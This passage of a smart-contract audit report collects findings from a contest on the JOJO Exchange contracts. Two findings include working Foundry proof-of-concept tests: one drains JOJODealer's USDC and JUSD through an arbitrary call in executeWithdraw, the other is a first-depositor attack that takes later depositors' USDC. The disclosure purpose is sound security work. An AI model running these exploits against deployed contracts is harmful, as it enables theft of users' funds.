require(block.timestamp - updatedAt <= heartbeatInterval, "ORACLE_HEARTBEAT_FAILED");

Tool used

Manual Review

Recommendation

Only impacts pricing, not critical contract assets. Other price validations also in place. Difficult for miner to consistently manipulate timestamp.

Use block.number instead of timestamp to validate freshness.

The vulnerability allows some manipulation of price calculations. But other factors limit the impact, so it is be a lower severity issue.

0xhashiman - An attacker can steal all USDC and JUSD from JOJODealer contract

0xhashiman

high

An attacker can steal all USDC and JUSD from JOJODealer contract

Summary

The JOJODealer contract inherits from JOJOExternal, JOJOOperation, and JOJOView, thereby gaining access to all functions defined in these contracts. Our focus is specifically on the JOJOExternal contract, which exposes the Funding library and allows users to interact with functions such as deposit(), requestWithdraw(), and executeWithdraw(). In these primary functions, we simply invoke the corresponding functions from the Funding library without introducing any modifications.

The issue arises in the executeWithdraw() function, where we trust user-supplied parameters. This trust will enable a malicious actor to steal all funds within the JOJODealer contract.

Vulnerability Detail

As JOJODealer serves as a hub for various traders executing diverse actions, the contract accumulates substantial balances in both USDC and JUSD. The critical concern lies in the executeWithdraw() function, which calls Funding.executeWithdraw(). In both functions, there is a lack of validation for various inputs. This deficiency creates an opportunity for a malicious actor to craft a transaction with malicious parameters, draining the contract, and the contract will accept it without proper verification.

Here is a POC example below to illustrate this issue and demonstrate how it can manifest:

Add this test in DealerFundTest.sol and run it with

forge test --match-test testExecuteWithdrawCraftedToStealTokens -vvvvv
    function testExecuteWithdrawCraftedToStealTokens() public {
            
            vm.startPrank(traders[0]);
            jojoDealer.deposit(1_000_000e6, 1_000_000e6, traders[0]); // Normal trader[0] making a deposit withou any issue

            vm.stopPrank();

            vm.startPrank(traders[1]);
            jojoDealer.deposit(100_000e6, 100_000e6, traders[1]); // Normal trader[1] making a deposit withou any issue
            jojoDealer.deposit(100_000e6, 100_000e6, traders[1]); // Normal trader[1] making a deposit withou any issue
            jojoDealer.deposit(100_000e6, 100_000e6, traders[1]); // Normal trader[1] making a deposit withou any issue
            vm.stopPrank();

            vm.startPrank(traders[2]);
            jojoDealer.deposit(100_000e6, 100_000e6, traders[2]); // Normal trader[2] making a deposit withou any issue
            jojoDealer.deposit(100_000e6, 100_000e6, traders[2]); // Normal trader[2] making a deposit withou any issue
            vm.stopPrank();

            vm.startPrank(traders[0]);
            jojoDealer.requestWithdraw(traders[0], 500_000e6, 200_000e6); // Normal trder[0] requesting withdraw till now all the system is working fine
            vm.stopPrank();

            address hacker = vm.addr(10000000000000000);
        
            vm.startPrank(hacker);   
        

            jojoDealer.executeWithdraw(hacker, address(jusd), false, 
                abi.encodeWithSignature("approve(address,uint256)", address(hacker), type(uint256).max)
            ); //  we can call this function even though we didnt deposit with any address and param the contract doesnt check

            jojoDealer.executeWithdraw(hacker, address(usdc), false, 
                abi.encodeWithSignature("approve(address,uint256)", address(hacker), type(uint256).max)
            ); //  we can call this function even though we didnt deposit with any address and param the contract doesnt check


            jusd.transferFrom(address(jojoDealer), hacker, jusd.balanceOf(address(jojoDealer))); //after approval we can withdraw all jusd balance of jojoDealer
            usdc.transferFrom(address(jojoDealer), hacker, usdc.balanceOf(address(jojoDealer))); //after approval we can withdraw all usdc balance of jojoDealer


            jusd.balanceOf(address(jojoDealer)); //This will be 0 since the hacker holds now all the tokens 
            usdc.balanceOf(address(jojoDealer)); //This will be 0 since the hacker holds now all the tokens 
            
        } 

To elaborate on the provided POC, in the first part, we simulate a real environment by connecting with various traders' accounts for some deposits. However, upon connecting as a hacker account, it becomes apparent that the supplied parameters are not accurate. The executeWithdraw() function invoked by the hacker ultimately translates to (bool success,) = to.call(param) check this lines in Funding.sol, both to and param are specified by the user.

The malicious executeWithdraw() proceeds to call the approve() function in both JUSD and USDC with maxUint256, designating the hacker as the spender and the owner will be jojoDealer contract . Subsequently, the attacker can exploit this approval to transfer all tokens to their own address.

Impact

All users fund that were originally deposited will be drained. The exact same issue happened to a project called SocketDotTech see this link.

Code Snippet

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/JOJOExternal.sol#L38-L40

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/libraries/Funding.sol#L84-L102

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/libraries/Funding.sol#L122-L185

Tool used

Manual Review

Recommendation

I strongly recommend adopting the same design approach as the FlashLoanLiquidate contract. Specifically, ensure that only contracts whitelisted in whiteListContract can be deemed trustworthy, and do not extend trust to any arbitrary address.

Duplicate of #7

bughuntoor - Unsafe `call` allows an arbitrary user to steal all funds within JOJODealer

bughuntoor

high

Unsafe call allows an arbitrary user to steal all funds within JOJODealer

Summary

Unsafe call allows an arbitrary user to steal all funds within JOJODealer

Vulnerability Detail

In the withdraw function, if the user passes data, the contract tries to call the the specified to address with the provided data.

        if (param.length != 0) {
            require(Address.isContract(to), "target is not a contract");
            (bool success,) = to.call(param);
            if (success == false) {
                assembly {
                    let ptr := mload(0x40)
                    let size := returndatasize()
                    returndatacopy(ptr, 0, size)
                    revert(ptr, size)
                }
            }

A user can simply specify the to address as the ERC20 contract with transfer method and steal all funds within the contract.
The user can do the same with the transferFrom to steal all outstanding allowances the users might have towards the contract.

Impact

Completely draining the contract + user allowances

Code Snippet

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/libraries/Funding.sol#L173C1-L183C14

Tool used

Manual Review

Recommendation

Do not allow arbitrary calls

Duplicate of #7

rvierdiiev - Rate calculation inconsistency inside JUSDBankStorage

rvierdiiev

medium

Rate calculation inconsistency inside JUSDBankStorage

Summary

JUSDBankStorage has 2 functions that are used to calculated current borrow rate and they do calculations in different way.

Vulnerability Detail

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/JUSDBankStorage.sol#L53-L66

    function accrueRate() public {
        uint256 currentTimestamp = block.timestamp;
        if (currentTimestamp == lastUpdateTimestamp) {
            return;
        }
        uint256 timeDifference = block.timestamp - uint256(lastUpdateTimestamp);
        tRate = tRate.decimalMul((timeDifference * borrowFeeRate) / Types.SECONDS_PER_YEAR + 1e18);
        lastUpdateTimestamp = currentTimestamp;
    }

    function getTRate() public view returns (uint256) {
        uint256 timeDifference = block.timestamp - uint256(lastUpdateTimestamp);
        return tRate + (borrowFeeRate * timeDifference) / Types.SECONDS_PER_YEAR;
    }

tRate is borrow rate and function accrueRate calculates it as
tRate = tRate * (timeDifference * borrowFeeRate / Types.SECONDS_PER_YEAR + 1)
and getTRate function calculates it as tRate = tRate + timeDifference * borrowFeeRate / Types.SECONDS_PER_YEAR

Both these functions should provide same result of tRate, but as you can see it is not like that.

Because of that, different tRate will be used by another parts of protocol. For example borrow balance will use getTRate function result, while repay will use rate after accrueRate is called. So when user will calculate amount that he needs to repay, then amount can be calculated using getTRate, and when he will be repaying, then tRate will be updated using accrueRate which will lead to another borrow amount.

Impact

tRate is calculated differently in different part of protocol.

Code Snippet

Provided above

Tool used

Manual Review

Recommendation

You need to use single approach.

Duplicate of #1

Ignite - safeApprove() function may reverts for changing existing approvals

Ignite

medium

safeApprove() function may reverts for changing existing approvals

Summary

SafeERC20.safeApprove reverts if there is an attempt to change a non-zero approval to another non-zero approval. In the FundingRateArbitrage._swap() function, such an attempt may occur, resulting in a revert.

Vulnerability Detail

The safeApprove() function has explicit warning:

    // safeApprove should only be called when setting an initial allowance,
    // or when resetting it to zero. To increase and decrease it, use
    // 'safeIncreaseAllowance' and 'safeDecreaseAllowance'

At line 207, the FundingRateArbitrage contract uses thesafeApprove() function to change the approval amount.

function _swap(bytes memory param, bool isBuyingEth) private returns (uint256 receivedAmount) {
    address fromToken;
    address toToken;
    if (isBuyingEth) {
        fromToken = usdc;
        toToken = collateral;
    } else {
        fromToken = collateral;
        toToken = usdc;
    }
    uint256 toTokenReserve = IERC20(toToken).balanceOf(address(this));
    (address approveTarget, address swapTarget, uint256 payAmount, bytes memory callData) =
        abi.decode(param, (address, address, uint256, bytes));
    IERC20(fromToken).safeApprove(approveTarget, payAmount);
    (bool isSuccess,) = swapTarget.call(callData);
    if (!isSuccess) {
        assembly {
            let ptr := mload(0x40)
            let size := returndatasize()
            returndatacopy(ptr, 0, size)
            revert(ptr, size)
        }
    }
    receivedAmount = IERC20(toToken).balanceOf(address(this)) - toTokenReserve;
    emit Swap(fromToken, toToken, payAmount, receivedAmount);
}

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/FundingRateArbitrage.sol#L194-L219

With the external contract intregated, there might be remaining allowance to the target contract. As a result, the owner might unable to call swapBuyEth() or swapSellEth() functions.

Impact

The contract owner might be unable to swap USDC for collateral tokens and deposit them to the collateral system or withdraw collateral tokens to the pool and swap them back to USDC.

Code Snippet

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/FundingRateArbitrage.sol#L207

Tool used

Manual Review

Recommendation

Resetting the allowance to zero before calling safeApprove() function.

dany.armstrong90 - JUSDBankStorage.sol#accrueRate function has an error in calculating the tRate.

dany.armstrong90

high

JUSDBankStorage.sol#accrueRate function has an error in calculating the tRate.

Summary

JUSDBankStorage.sol#accrueRate function calculates the value of tRate larger than the right value.
Thus the borrowers of JUSDBank will lose more JUSD tokens when repaying or liquidating.

Vulnerability Detail

JUSDBankStorage.sol#accrueRate function and getTRate function are the following.

    function accrueRate() public {
        uint256 currentTimestamp = block.timestamp;
        if (currentTimestamp == lastUpdateTimestamp) {
            return;
        }
        uint256 timeDifference = block.timestamp - uint256(lastUpdateTimestamp);
59:     tRate = tRate.decimalMul((timeDifference * borrowFeeRate) / Types.SECONDS_PER_YEAR + 1e18);
        lastUpdateTimestamp = currentTimestamp;
    }

    function getTRate() public view returns (uint256) {
65:     uint256 timeDifference = block.timestamp - uint256(lastUpdateTimestamp);
        return tRate + (borrowFeeRate * timeDifference) / Types.SECONDS_PER_YEAR;
    }

As can be seen, the calculation formula for tRate in L59 of accrueRate function differs with L65 of getTRate function.
When tRate = 1e18, the formula of L59 is equal to L65.
JUSDBank.sol#L39 is following.

        tRate = Types.ONE;

That is, since the initial value of tRate is 1e18 and it increases by time, tRate > 1e18 will be always hold true.
When tRate > 1e18, the value of L59 will be larger than L65 as follows.

    tRateInL59 = tRate.decimalMul((timeDifference * borrowFeeRate) / Types.SECONDS_PER_YEAR + 1e18)
          = tRate.decimalMul((timeDifference * borrowFeeRate) / Types.SECONDS_PER_YEAR) + tRate.decmialMul(1e18)
          = tRate * (timeDifference * borrowFeeRate) / Types.SECONDS_PER_YEAR / 1e18 + tRate * 1e18 / 1e18
          > (timeDifference * borrowFeeRate) / Types.SECONDS_PER_YEAR + tRate = tRateInL65

Since tRate > 1e18 increases by time, the difference of two values will be larger and larger.
Since borrowRate is the increase amount of tRate in a year, the L65 of getTRate is right but not for L59 of accrueRate function.

Impact

accrueRate function calculates the value of tRate larger than the right value.
accrueRate function is called from borrow, repay and liquidate function of JUSDBank.sol.
Thus borrowers will lose more JUSD tokens when repaying or liquidating.
As tRate > 1e18 continues to increases, the deviation of calculation becomes larger and larger.

Code Snippet

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/JUSDBankStorage.sol#L59

Tool used

Manual Review

Recommendation

Modify JUSDBankStorage.sol#accrueRate function as follows.

    function accrueRate() public {
        uint256 currentTimestamp = block.timestamp;
        if (currentTimestamp == lastUpdateTimestamp) {
            return;
        }
--      uint256 timeDifference = block.timestamp - uint256(lastUpdateTimestamp);
--      tRate = tRate.decimalMul((timeDifference * borrowFeeRate) / Types.SECONDS_PER_YEAR + 1e18);
++      tRate = getTRate();
        lastUpdateTimestamp = currentTimestamp;
    }

Duplicate of #1

lil.eth - front-runnable Fund allocation to Operators

lil.eth

medium

front-runnable Fund allocation to Operators

Summary

The approveFundOperator() function in Operation.sol set directly the approvals for primaryCreditAllowed and secondaryCreditAllowed to the amounts specified in the function parameters without any checks against the previous approvals. This lack of validation can lead to scenarios where an operator's approval can be escalated without proper tracking or limitation.

Vulnerability Detail

function approveFundOperator(Types.State storage state, address client,address operator,uint256 primaryAmount, uint256 secondaryAmount) external
{
    state.primaryCreditAllowed[client][operator] = primaryAmount;
    state.secondaryCreditAllowed[client][operator] = secondaryAmount;
    emit FundOperatorAllowedChange(client, operator, primaryAmount, secondaryAmount);
}

The vulnerability lies in the direct assignment of primaryAmount and secondaryAmount to primaryCreditAllowed and secondaryCreditAllowed respectively, without checking or comparing against the existing approved amounts.

POC

  1. Let's say Alice has an approval of 100 primaryCredit from Bob : state.primaryCreditAllowed[Bob][Alice] = 100
  2. When she's approved 100 primaryCredit Alice directly uses Funding.sol#requestWithdraw(100) to create a request to withdraw 100 primaryCredit tokens that will be valid after block.timestamp + state.withdrawTimeLock
  3. After some days, Bob wants to reduce primaryCredit allowed to Alice to 50
  4. Alice frontrun Bob's call to approveFundOperator(), withdraw 100 primaryCredit token , state.primaryCreditAllowed[Bob][Alice] is decreased to 0
  5. Bob's call to approveFundOperator() is executed, then Alice has 50 new primaryToken to use as she wants.

Impact

An approved operator becoming malicious may be able to use/withdraw more tokens than intended

Code Snippet

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/libraries/Operation.sol#L124
https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/libraries/Funding.sol#L69

Tool used

Manual Review

Recommendation

Instead of setting the given amount, sponsor can reduce from the current allowed funds, checking by the way whether the previous allowance is spend or not.

bareli - no check for same decimal for primary and secondary.

bareli

medium

no check for same decimal for primary and secondary.

Summary

it has been mention that secondary assert must have same decimal as primary asset.

Vulnerability Detail

/// @notice Secondary asset can only be set once.
/// Secondary asset must have the same decimal with primary asset.
function setSecondaryAsset(address _secondaryAsset) external onlyOwner {
Operation.setSecondaryAsset(state, _secondaryAsset);

Impact

Code Snippet

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/JOJOOperation.sol#L69

Tool used

Manual Review

Recommendation

Homebrew - Possible Integer Overflow on smart-contract-EVM/src/oracle/OracleAdaptorWstETH.sol

Homebrew

medium

Possible Integer Overflow on smart-contract-EVM/src/oracle/OracleAdaptorWstETH.sol

Summary

Possiblility to make a Integer Overflow

Vulnerability Detail

No checks for integer overflows and underflows in price calculations.

Impact

Incorrect token pricing, economic exploits.

Code Snippet

uint256 tokenPrice = ((SafeCast.toUint256(price) 
  * SafeCast.toUint256(ETHPrice)) / Types.ONE) / 1e8;

Tool used

Manual Review

Recommendation

Use OpenZeppelin SafeMath for overflow protection:

using SafeMath for uint256;

uint256 tokenPrice = (price.toUint256().mul(ETHPrice))
  .div(Types.ONE.mul(1e8));

joicygiore - The `FundingRateArbitrage` contract function has not yet been developed,Users are not able to earn interest as expected

joicygiore

medium

The FundingRateArbitrage contract function has not yet been developed,Users are not able to earn interest as expected

Summary

The functions related to Convenience: Users only need to deposit funds into the JOJO platform to enjoy the automated funding rate arbitrage service without the need for complex calculations and operations. in the FundingRateArbitrage contract have not yet been developed

Vulnerability Detail

    mapping(address => uint256) public earnUSDCBalance;
    mapping(address => uint256) public jusdOutside;
    mapping(address => uint256) public maxUsdcQuota;

The above variables in the contract are used to save the user's fund status, but by checking all funcitons in the contract and testing, it is found that the Convenience: Users only need to deposit funds into the JOJO platform to enjoy the automated funding rate arbitrage service without the need for complex calculations and operations.,LPs can deposit USDC into the arbitrage pool via the deposit function, earning interest. introduced in the official documentation is not implemented in the source code of the contract.

Impact

The contract functionality is not yet complete

Code Snippet

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/FundingRateArbitrage.sol#L254-L300

Tool used

Manual Review

Recommendation

Improve the relevant features described in the documentation

rudolph - Potential risk of private key leakage

rudolph

medium

Potential risk of private key leakage

Summary

The withdrawal of assets requires a 24-hour approval time, users must first deposit jusd assets into the FundingRateArbitrage contract, while the privileged wallet address can withdraw jusd assets from the current contract via the refineJUSD() method, so if the private key of this privileged address is compromised, it may damage the assets of the user waiting for the withdrawal audit.

Vulnerability Detail

Users wishing to withdraw funds must first deposit JUSD tokens using the method below.
https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/FundingRateArbitrage.sol#L277C3-L277C3

    /// @notice this function is to submit a withdrawal which wiil permit by our system in 24 hours
    /// The main purpose of this function is to capture the interest and avoid the DOS attacks.
    /// @dev users need to withdraw jusd from trading system firstly or by jusd, then transfer jusd to
    /// the pool and get usdc back
    /// @param repayJUSDAmount is the repat jusd amount
    function requestWithdraw(uint256 repayJUSDAmount) external returns (uint256 withdrawEarnUSDCAmount) {
        IERC20(jusd).safeTransferFrom(msg.sender, address(this), repayJUSDAmount);
        ...

Before the user withdraws, the leak of the privileged private key will cause losses to the user and the contract.
https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/FundingRateArbitrage.sol#L151

    function refundJUSD(uint256 amount) public onlyOwner {
        IERC20(jusd).safeTransfer(msg.sender, amount);
    }

Impact

Code Snippet

Tool used

Foundry

Manual Review

Recommendation

Protect the private key well or use a multi-signature wallet to avoid the risk of a single private key being compromised.

bareli - Missing JOJOStorage Import:

bareli

medium

Missing JOJOStorage Import:

Summary

Missing JOJOStorage Import: The comment mentions a JOJOStorage contract for data structure, but it's not explicitly imported. If JOJOStorage is a contract that should be inherited, it needs to be imported and listed in the contract inheritance list.

Vulnerability Detail

/// data structure -> JOJOStorage
contract JOJODealer is JOJOExternal, JOJOOperation, JOJOView {
constructor(address _primaryAsset) JOJOStorage() {
state.primaryAsset = _primaryAsset;
}

Impact

Code Snippet

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/JOJODealer.sol#L16

Tool used

Manual Review

Recommendation

import JOJOStorage
import "./JOJOStorage.sol";

Ignite - The first depositor of FundingRateArbitrage contract can drain all users' USDC

Ignite

high

The first depositor of FundingRateArbitrage contract can drain all users' USDC

Summary

A malicious first depositor can benefit from subsequent deposits, causing later depositors to lose part or all of their funds to the attacker.

Vulnerability Detail

The getIndex() function is used to return the ratio between netValue() and totalEarnUSDCBalance. If the totalEarnUSDCBalance is zero, it returns a default value of 1e18. Otherwise, it computes the index by dividing the net value of the system by the total earned USDC balance.

function getIndex() public view returns (uint256) {
    if (totalEarnUSDCBalance == 0) {
        return 1e18;
    } else {
        return SignedDecimalMath.decimalDiv(getNetValue(), totalEarnUSDCBalance);
    }
}

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/FundingRateArbitrage.sol#L98-L104

Anyone can call the deposit() function to increase the totalEarnUSDCBalance value. Subsequently, when the getIndex() function is invoked, it returns the ratio between getNetValue() and totalEarnUSDCBalance().

function deposit(uint256 amount) external {
    require(amount != 0, "deposit amount is zero");
    uint256 feeAmount = amount.decimalMul(depositFeeRate);
    if (feeAmount > 0) {
        amount -= feeAmount;
        IERC20(usdc).transferFrom(msg.sender, owner(), feeAmount);
    }
    uint256 earnUSDCAmount = amount.decimalDiv(getIndex());
    IERC20(usdc).transferFrom(msg.sender, address(this), amount);
    JOJODealer(jojoDealer).deposit(0, amount, msg.sender);
    earnUSDCBalance[msg.sender] += earnUSDCAmount;
    jusdOutside[msg.sender] += amount;
    totalEarnUSDCBalance += earnUSDCAmount;
    require(getNetValue() <= maxNetValue, "net value exceed limitation");
    uint256 quota = maxUsdcQuota[msg.sender] == 0 ? defaultUsdcQuota : maxUsdcQuota[msg.sender];
    require(earnUSDCBalance[msg.sender].decimalMul(getIndex()) <= quota, "usdc amount bigger than quota");
    emit DepositToHedging(msg.sender, amount, feeAmount, earnUSDCAmount);
}

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/FundingRateArbitrage.sol#L258-L275

By transferring USDC directly to the contract, these funds are summed up as the net value in the system, resulting in an increase in the net value.

function getNetValue() public view returns (uint256) {
    uint256 jusdBorrowed = IJUSDBank(jusdBank).getBorrowBalance(address(this));
    uint256 collateralAmount = IJUSDBank(jusdBank).getDepositBalance(collateral, address(this));
    uint256 usdcBuffer = IERC20(usdc).balanceOf(address(this));
    uint256 collateralPrice = IJUSDBank(jusdBank).getCollateralPrice(collateral);
    (int256 perpNetValue,,,) = JOJODealer(jojoDealer).getTraderRisk(address(this));
    return
        SafeCast.toUint256(perpNetValue) + collateralAmount.decimalMul(collateralPrice) + usdcBuffer - jusdBorrowed;
}

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/FundingRateArbitrage.sol#L87-L95

With an incorrectly high net value, the amount.decimalDiv(getIndex()); at line 265 will experience a loss of precision, requiring a substantial deposit of a huge amount to gain some earnUSDCBalance for the depositor.

function deposit(uint256 amount) external {
    require(amount != 0, "deposit amount is zero");
    uint256 feeAmount = amount.decimalMul(depositFeeRate);
    if (feeAmount > 0) {
        amount -= feeAmount;
        IERC20(usdc).transferFrom(msg.sender, owner(), feeAmount);
    }
    uint256 earnUSDCAmount = amount.decimalDiv(getIndex());
    IERC20(usdc).transferFrom(msg.sender, address(this), amount);
    JOJODealer(jojoDealer).deposit(0, amount, msg.sender);
    earnUSDCBalance[msg.sender] += earnUSDCAmount;
    jusdOutside[msg.sender] += amount;
    totalEarnUSDCBalance += earnUSDCAmount;
    require(getNetValue() <= maxNetValue, "net value exceed limitation");
    uint256 quota = maxUsdcQuota[msg.sender] == 0 ? defaultUsdcQuota : maxUsdcQuota[msg.sender];
    require(earnUSDCBalance[msg.sender].decimalMul(getIndex()) <= quota, "usdc amount bigger than quota");
    emit DepositToHedging(msg.sender, amount, feeAmount, earnUSDCAmount);
}

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/FundingRateArbitrage.sol#L258-L275

The first depositor could deposit only 1 wei of USDC, manipulate the net value by directly transferring some small amount of USDC to the contract, and then deposit a substantial amount of USDC to gain the earnUSDCBalance.

When the next depositor makes a deposit, their earnUSDCBalance value will encounter precision loss, and the USDC will be aggregated as part of the net value of the system. Consequently, the attacker will profit from this USDC.

Furthermore, the attacker can easily front-run this transaction to execute the attack.

Please add this test to FundingRateArbitrageTest.t.sol to showcase the exploit.

forge test --mt test_firstDepositorStealOtherUserFund -vv
function test_firstDepositorStealOtherUserFund() public {

    /// setWithdrawSettleFee
    vm.startPrank(Owner);
    fundingRateArbitrage.setWithdrawSettleFee(2e6);
    vm.stopPrank();

    /// mint for Alice 10,000 USDC and mint for Bob 100 USDC
    USDC.mint(address(alice), 10_000e6);
    USDC.mint(address(bob), 100e6);

    uint256 aliceBalanceBefore = USDC.balanceOf(address(alice));

    vm.startPrank(alice);
    USDC.approve(address(fundingRateArbitrage), 10_000e6);

    /// Alice makes her initial deposit to ensure that the totalEarnUSDCBalance is not equal to zero.
    fundingRateArbitrage.deposit(1);

    /// Alice transfer 100 USDC to the FundingRateArbitrage contract directly to increase getNetValue()
    USDC.transfer(address(fundingRateArbitrage), 100e6);
    uint aliceAmt = 8_000e6; // 8,000 USDC

    /// Alice deposited with huge amount of USDC
    fundingRateArbitrage.deposit(aliceAmt);

    /// Request for withdraw
    jojoDealer.requestWithdraw(alice, 0, aliceAmt);
    vm.warp(100);
    jojoDealer.executeWithdraw(alice, alice, false, "");

    jusd.approve(address(fundingRateArbitrage), aliceAmt);

    uint256 index = fundingRateArbitrage.requestWithdraw(aliceAmt);
    vm.stopPrank();

    uint bobAmt = 100e6; // 100 USDC
    vm.startPrank(bob);
    USDC.approve(address(fundingRateArbitrage), bobAmt);

    /// Bob calls deposit() normally with 100 USDC
    fundingRateArbitrage.deposit(bobAmt);
    vm.stopPrank();

    /// Permit withdraw request by Owner
    vm.startPrank(Owner);
    uint256[] memory indexs = new uint256[](1);
    indexs[0] = index;
    fundingRateArbitrage.permitWithdrawRequests(indexs);
    vm.stopPrank();


    /// Now, the 100 USDC in Bob's FundingRateArbitrage contract has been drained to Alice
    uint256 aliceBalanceAfter = USDC.balanceOf(address(alice));
    uint256 fundingRateArbitrageBalance = USDC.balanceOf(address(fundingRateArbitrage));

    assertGt(aliceBalanceAfter, aliceBalanceBefore);
    assertEq(fundingRateArbitrageBalance, 0);

    console.log("Alice's USDC:", USDC.balanceOf(address(alice)));
    console.log("Bob's USDC:", USDC.balanceOf(address(bob)));
    console.log("FundingRateArbitrage's USDC:", USDC.balanceOf(address(fundingRateArbitrage)));
    console.log("totalEarnUSDC:", fundingRateArbitrage.totalEarnUSDCBalance());
}

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/test/impl/FundingRateArbitrageTest.t.sol

Impact

The first depositor has the ability to take away a portion or all of the USDC that other users have deposited into the FundingRateArbitrage contract.

Code Snippet

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/FundingRateArbitrage.sol#L87-L95

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/FundingRateArbitrage.sol#L98-L104

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/FundingRateArbitrage.sol#L258-L275

Tool used

Manual Review

Recommendation

I suggest the team be the first depositor when deploying the contract.

Duplicate of #54

Homebrew - Potential exploitations for the JOJOOracleAdaptorWstETH contract.

Homebrew

high

Potential exploitations for the JOJOOracleAdaptorWstETH contract.

Summary

Invalid Chainlink aggregator address

Vulnerability Detail

The Chainlink aggregator address is not validated to be a valid Chainlink contract.

Impact

Attacker can set the address to a malicious contract to provide false price data.

IChainlink(chainlink).latestRoundData()

Code Snippet

address public immutable chainlink;

constructor(address _source, ...) {
  chainlink = _source; 
}

function getAssetPrice() external view returns (uint256) {
  (,,int256 price,,uint256 updatedAt,) = IChainlink(chainlink).latestRoundData();
  // ...
}

Tool used

Manual Review

Recommendation

Validate that chainlink address is a Chainlink AggregatorV3Interface contract on deployment:

constructor(address _source, ...) {
  require(IAggregatorV3Interface(_source).decimals() >= 0, "Invalid chainlink");  
  chainlink = _source;
}

lil.eth - No check for Arbitrum Sequencer being down means stale prices may be accepted

lil.eth

medium

No check for Arbitrum Sequencer being down means stale prices may be accepted

Summary

Because of how Arbitrum Enqueues TXs while the sequencer is down, TXs with an older timestamp may be accepted, allowing the usage of stale prices

Vulnerability Detail

In lack of checks, the transaction will be queued, resulting in the ability to use older prices as the timestamp from L1 will be the one of the original submission and not the one of the time of processing.

This is because Arbitrum will enqueue the TX and store the original Timestamp from L1 at the time of original submission and not processing

Impact

Stable prices may be used after the sequence comes back online

Code Snippet

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/oracle/OracleAdaptor.sol#L66

Tool used

Manual Review

Recommendation

https://docs.chain.link/data-feeds/l2-sequencer-feeds#arbitrum

See the queue system here:
https://docs.chain.link/data-feeds/l2-sequencer-feeds/

Remediation Steps
Consider reverting if the Sequencer is offline.

Check the Chainlink Documentation for a full example:
https://docs.chain.link/data-feeds/l2-sequencer-feeds#example-code

Duplicate of #67

T1MOH - JOJOOracleAdaptorWstETH.sol misses function `getMarkPrice()`

T1MOH

medium

JOJOOracleAdaptorWstETH.sol misses function getMarkPrice()

Summary

JOJOOracleAdaptorWstETH.sol doesn't fully implement IPriceSource.sol. It misses function getMarkPrice()

Vulnerability Detail

Code blocks which call function getMarkPrice() on Oracle contract will revert. The most significant is following:

Trader can't open trade in WstEth perp.
Here is function order:

Perpetual.trade()
    JOJOView.isAllSafe()
        Liquidation._isAllMMSafe()
            Liquidation._isMMSafe()
                Liquidation.getTotalExposure()
                    IPriceSource.getMarkPrice()

Here you can see that function getMarkPrice() is called on perpetual oracle. For WstEth perpetual, oracle JOJOOracleAdaptorWstETH.sol is supposed to be used

    function getTotalExposure(
        Types.State storage state,
        address trader
    )
        public
        view
        returns (int256 netValue, uint256 exposure, uint256 initialMargin, uint256 maintenanceMargin)
    {
        int256 netPositionValue;
        // sum net value and exposure among all markets
        for (uint256 i = 0; i < state.openPositions[trader].length;) {
            (int256 paperAmount, int256 creditAmount) = IPerpetual(state.openPositions[trader][i]).balanceOf(trader);
            Types.RiskParams storage params = state.perpRiskParams[state.openPositions[trader][i]];
@>          int256 price = SafeCast.toInt256(IPriceSource(params.markPriceSource).getMarkPrice());

            netPositionValue += paperAmount.decimalMul(price) + creditAmount;
            uint256 exposureIncrement = paperAmount.decimalMul(price).abs();
            exposure += exposureIncrement;
            maintenanceMargin += (exposureIncrement * params.liquidationThreshold) / Types.ONE;
            initialMargin += (exposureIncrement * params.initialMarginRatio) / Types.ONE;
            unchecked {
                ++i;
            }
        }
        netValue = netPositionValue + state.primaryCredit[trader] + SafeCast.toInt256(state.secondaryCredit[trader]);
    }

Also different functions like FundingRateUpdateLimiter.getMaxChange(), Liquidation.requestLiquidation() revert too because try to call getMarkPrice() on oracle

Note there is no function getMarkPrice():
https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/ed4a8483da11bcc04ced10de899038bcead087b3/smart-contract-EVM/src/oracle/OracleAdaptorWstETH.sol#L13

Impact

WstEth Perpetual can't be used.

Code Snippet

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/ed4a8483da11bcc04ced10de899038bcead087b3/smart-contract-EVM/src/oracle/OracleAdaptorWstETH.sol#L13

Tool used

Manual Review

Recommendation

Add missing function

T1MOH - After withdraw user can be subject to immediate liquidation

T1MOH

medium

After withdraw user can be subject to immediate liquidation

Summary

Issue arises from different formulas that are used in health check after withdraw and in liquidation.

Vulnerability Detail

Here you can see that accrueRate() compounds interest on every call, while getTRate() calculates plain interest:

    function accrueRate() public {
        uint256 currentTimestamp = block.timestamp;
